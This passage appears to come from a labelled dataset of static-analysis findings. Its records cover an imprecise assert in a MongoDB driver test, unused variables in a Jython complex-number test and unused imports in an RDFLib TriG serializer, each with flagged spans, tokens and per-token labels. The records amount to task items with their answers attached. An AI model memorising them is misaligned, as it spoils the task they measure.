"\"", "cann", "ot", " ", "do", " ", "callback", "\"_", ",_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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
mongodb/mongo-python-driver/test/test_timestamp.py
[ { "content": " def test_equality(self):\n t = Timestamp(1, 1)\n self.assertNotEqual(t, Timestamp(0, 1))\n self.assertNotEqual(t, Timestamp(1, 0))\n self.assertEqual(t, Timestamp(1, 1))\n\n # Explicitly test inequality\n self.assertFalse(t != Timestamp(1, 1))", "metadata": "root.TestTimestamp.test_equality", "header": "['class', 'TestTimestamp', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 62 } ]
[ { "span": "self.assertFalse(t != Timestamp(1, 1))", "start_line": 69, "start_column": 8, "end_line": 69, "end_column": 46 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Timestamp_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "equality", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "Timestamp_", "(_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "t_", ",_", "Timestamp_", "(_", "0_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "t_", ",_", "Timestamp_", "(_", "1_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "t_", ",_", "Timestamp_", "(_", "1_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exp", "licit", "ly", " ", "test", " ", "inequal", "ity_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "t_", "!=_", "Timestamp_", "(_", "1_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
azoft-dev-team/imagrium/env/Lib/test/test_complex.py
[ { "content": " @unittest.skipUnless(float.__getformat__(\"double\").startswith(\"IEEE\"),\n \"test requires IEEE 754 doubles\")\n @unittest.skipIf(test_support.is_jython, \"FIXME: not working in Jython\")\n def test_repr_roundtrip(self):\n vals = [0.0, 1e-500, 1e-315, 1e-200, 0.0123, 3.1415, 1e50, INF, NAN]\n vals += [-v for v in vals]\n\n # complex(repr(z)) should recover z exactly, even for complex\n # numbers involving an infinity, nan, or negative zero\n for x in vals:\n for y in vals:\n z = complex(x, y)\n roundtrip = complex(repr(z))\n self.assertFloatsAreIdentical(z.real, roundtrip.real)\n self.assertFloatsAreIdentical(z.imag, roundtrip.imag)\n\n # if we predefine some constants, then eval(repr(z)) should\n # also work, except that it might change the sign of zeros\n inf, nan = float('inf'), float('nan')\n infj, nanj = complex(0.0, inf), complex(0.0, nan)\n for x in vals:\n for y in vals:\n z = complex(x, y)\n roundtrip = eval(repr(z))\n # adding 0.0 has no effect beside changing -0.0 to 0.0\n self.assertFloatsAreIdentical(0.0 + z.real,\n 0.0 + roundtrip.real)\n self.assertFloatsAreIdentical(0.0 + z.imag,\n 0.0 + roundtrip.imag)", "metadata": "root.ComplexTest.test_repr_roundtrip", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 529 } ]
[ { "span": "infj,", "start_line": 548, "start_column": 8, "end_line": 548, "end_column": 12 }, { "span": "nanj ", "start_line": 548, "start_column": 14, "end_line": 548, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Comple", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip", "Unless_", "(_", "float_", "._", "\\u\\u", "getf", "ormat", "\\u\\u_", "(_", "\"", "double", "\"_", ")_", "._", "startswith_", "(_", "\"", "IE", "EE", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "test", " ", "require", "s", " ", "IE", "EE", " ", "754", " ", "double", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "unittest_", "._", "skip", "If_", "(_", "test\\u", "support_", "._", "is", "\\u", "jy", "tho", "n_", ",_", "\"", "FIX", "ME", ":", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "repr", "\\u", "roundtrip", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vals_", "=_", "[_", "0.0_", ",_", "1e-", "500_", ",_", "1e-", "315", "_", ",_", "1e-", "200_", ",_", "0.012", "3_", ",_", "3.14", "15_", ",_", "1e", "50_", ",_", "INF", "_", ",_", "NAN", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vals_", "+=_", "[_", "-_", "v_", "for_", "v_", "in_", "vals_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "complex", "(", "repr", "(", "z", "))", " ", "shou", "ld", " ", "recover", " ", "z", " ", "exact", "ly", ",", " ", "even", " ", "for", " ", "complex_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "numbers", " ", "involv", "ing", " ", "an", " ", "infinity", ",", " ", "nan", ",", " ", "or", " ", "negati", "ve", " ", "zero_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "x_", "in_", "vals_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "y_", "in_", "vals_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "complex_", "(_", "x_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "roundtrip", "_", "=_", "complex_", "(_", "repr_", "(_", "z_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Float", "s", "Are", "Identical", "_", "(_", "z_", "._", "real_", ",_", "roundtrip", "_", "._", "real_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Float", "s", "Are", "Identical", "_", "(_", "z_", "._", "imag_", ",_", "roundtrip", "_", "._", "imag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "prede", "fine", " ", "some", " ", "constant", "s", ",", " ", "then", " ", "eval", "(", "repr", "(", "z", "))", " ", "should_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "als", "o", " ", "work", ",", " ", "except", " ", "tha", "t", " ", "it", " ", "mig", "ht", " ", "change", " ", "the", " ", "sign", " ", "of", " ", "zeros_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inf_", ",_", "nan_", "=_", "float_", "(_", "'", "inf", "'_", ")_", ",_", "float_", "(_", "'", "nan", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inf", "j_", ",_", "nan", "j_", "=_", "complex_", "(_", "0.0_", ",_", "inf_", ")_", ",_", "complex_", "(_", "0.0_", ",_", "nan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "vals_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "y_", "in_", "vals_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "complex_", "(_", "x_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "roundtrip", "_", "=_", "eval_", "(_", "repr_", "(_", "z_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "addin", "g", " ", "0.", "0", " ", "has", " ", "no", " ", "effect", " ", "bes", "ide", " ", "chang", "ing", " ", "-0", ".0", " ", "to", " ", "0.0_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Float", "s", "Are", "Identical", "_", "(_", "0.0_", "+_", "z_", "._", "real_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.0_", "+_", "roundtrip", "_", "._", "real_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Float", "s", "Are", "Identical", "_", "(_", "0.0_", "+_", "z_", "._", "imag_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.0_", "+_", "roundtrip", "_", "._", "imag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
RDFLib/rdflib/rdflib/plugins/serializers/trig.py
[ { "content": "\"\"\"\nTrig RDF graph serializer for RDFLib.\nSee <http://www.w3.org/TR/trig/> for syntax specification.\n\"\"\"\n\nfrom collections import defaultdict\n\nfrom rdflib.plugins.serializers.turtle import TurtleSerializer, _GEN_QNAME_FOR_DT, VERB\n\nfrom rdflib.term import BNode, Literal\n\n__all__ = ['TrigSerializer']\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TrigSerializer(TurtleSerializer):\n\n short_name = \"trig\"\n indentString = 4 * u' '\n\n\n\n", "metadata": "root.TrigSerializer", "header": "['module', '___EOS___']", "index": 14 }, { "content": " def __init__(self, store):\n if store.context_aware:\n self.contexts = list(store.contexts())\n self.default_context = store.default_context.identifier\n if store.default_context:\n self.contexts.append(store.default_context)\n else:\n self.contexts = [store]\n self.default_context = None\n\n super(TrigSerializer, self).__init__(store)", "metadata": "root.TrigSerializer.__init__", "header": "['class', 'TrigSerializer', '(', 'TurtleSerializer', ')', ':', '___EOS___']", "index": 19 }, { "content": " def preprocess(self):\n for context in self.contexts:\n self.store = context\n self.getQName(context.identifier)\n self._references = defaultdict(int)\n self._subjects = {}\n\n for triple in context:\n self.preprocessTriple(triple)\n\n self._contexts[context]=(self.orderSubjects(), self._subjects, self._references)", "metadata": "root.TrigSerializer.preprocess", "header": "['class', 'TrigSerializer', '(', 'TurtleSerializer', ')', ':', '___EOS___']", "index": 31 }, { "content": " def reset(self):\n super(TrigSerializer, self).reset()\n self._contexts = {}", "metadata": "root.TrigSerializer.reset", "header": "['class', 'TrigSerializer', '(', 'TurtleSerializer', ')', ':', '___EOS___']", "index": 43 }, { "content": " def serialize(self, stream, base=None, encoding=None,\n spacious=None, **args):\n self.reset()\n self.stream = stream\n self.base = base\n\n if spacious is not None:\n self._spacious = spacious\n\n self.preprocess()\n\n self.startDocument()\n\n firstTime = True\n for store, (ordered_subjects, subjects, ref) in self._contexts.items():\n self._references = ref\n self._serialized = {}\n self.store = store\n self._subjects = subjects\n\n if self.default_context and store.identifier==self.default_context:\n self.write(self.indent() + '\\n{')\n else:\n if isinstance(store.identifier, BNode):\n iri = store.identifier.n3()\n else:\n iri = self.getQName(store.identifier)\n if iri is None:\n iri = store.identifier.n3()\n self.write(self.indent() + '\\n%s {' % iri)\n\n self.depth += 1\n for subject in ordered_subjects:\n if self.isDone(subject):\n continue\n if firstTime:\n firstTime = False\n if self.statement(subject) and not firstTime:\n self.write('\\n')\n self.depth -= 1\n self.write('}\\n')\n\n self.endDocument()\n stream.write(u\"\\n\".encode('ascii'))", "metadata": "root.TrigSerializer.serialize", "header": "['class', 'TrigSerializer', '(', 'TurtleSerializer', ')', ':', '___EOS___']", "index": 47 } ]
[ { "span": "from rdflib.plugins.serializers.turtle import TurtleSerializer, _GEN_QNAME_FOR_DT, VERB", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 87 }, { "span": "from rdflib.term import BNode, Literal", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 38 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Trig", " ", "RDF", " ", "graph", " ", "serialize", "r", " ", "for", " ", "RDF", "Lib", ".", "\\", "10", ";", "See", " ", "<", "http", "://", "www", ".", "w3", ".", "org", "/", "TR", "/", "trig", "/>", " ", "for", " ", "synta", "x", " ", "specifica", "tion", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "collections_", "import_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "rdflib_", "._", "plugins_", "._", "serializers_", "._", "turtle_", "import_", "Tur", "tle", "Serializer_", ",_", "\\u", "GEN", "\\u", "QN", "AME", "\\u", "FOR", "\\u", "DT_", ",_", "VERB", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "rdflib_", "._", "term_", "import_", "BN", "ode_", ",_", "Literal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "Trig", "Seriali", "zer", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Trig", "Serializer_", "(_", "Tur", "tle", "Serializer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "short", "\\u", "name_", "=_", "\"", "trig", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "indent", "String_", "=_", "4_", "*_", "u", "'", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Trig", "Serializer_", "(_", "Tur", "tle", "Serializer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "store_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "store_", "._", "context", "\\u", "aware_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "contexts_", "=_", "list_", "(_", "store_", "._", "contexts_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "default", "\\u", "context_", "=_", "store_", "._", "default", "\\u", "context_", "._", "identifier_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "store_", "._", "default", "\\u", "context_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "contexts_", "._", "append_", "(_", "store_", "._", "default", "\\u", "context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "contexts_", "=_", "[_", "store_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "default", "\\u", "context_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Trig", "Serializer_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "store_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trig", "Serializer_", "(_", "Tur", "tle", "Serializer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "preprocess_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "context_", "in_", "self_", "._", "contexts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "store_", "=_", "context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "get", "QN", "ame_", "(_", "context_", "._", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "references_", "=_", "defaultdict_", "(_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "subjects_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "triple_", "in_", "context_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "preproc", "ess", "Triple", "_", "(_", "triple_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "contexts_", "[_", "context_", "]_", "=_", "(_", "self_", "._", "order", "Sub", "ject", "s_", "(_", ")_", ",_", "self_", "._", "\\u", "subjects_", ",_", "self_", "._", "\\u", "references_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trig", "Serializer_", "(_", "Tur", "tle", "Serializer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Trig", "Serializer_", ",_", "self_", ")_", "._", "reset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "contexts_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trig", "Serializer_", "(_", "Tur", "tle", "Serializer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "serialize_", "(_", "self_", ",_", "stream_", ",_", "base_", "=_", "None_", ",_", "encoding_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "spaci", "ous_", "=_", "None_", ",_", "**_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "reset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stream_", "=_", "stream_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "base_", "=_", "base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "spaci", "ous_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "spaci", "ous_", "=_", "spaci", "ous_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "preprocess_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "start", "Document_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "first", "Time_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "store_", ",_", "(_", "order", "ed", "\\u", "subjects_", ",_", "subjects_", ",_", "ref_", ")_", "in_", "self_", "._", "\\u", "contexts_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "references_", "=_", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "serialized_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "store_", "=_", "store_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "subjects_", "=_", "subjects_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "default", "\\u", "context_", "and_", "store_", "._", "identifier_", "==_", "self_", "._", "default", "\\u", "context_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "self_", "._", "indent_", "(_", ")_", "+_", "'\\\\", "n", "{'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "store_", "._", "identifier_", ",_", "BN", "ode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "iri", "_", "=_", "store_", "._", "identifier_", "._", "n3_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "iri", "_", "=_", "self_", "._", "get", "QN", "ame_", "(_", "store_", "._", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "iri", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "iri", "_", "=_", "store_", "._", "identifier_", "._", "n3_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write_", "(_", "self_", "._", "indent_", "(_", ")_", "+_", "'\\\\", "n", "%", "s", " ", "{'_", "%_", "iri", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "depth_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "subject_", "in_", "order", "ed", "\\u", "subjects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "Done_", "(_", "subject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "first", "Time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "first", "Time_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "statement_", "(_", "subject_", ")_", "and_", "not_", "first", "Time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "depth_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write_", "(_", 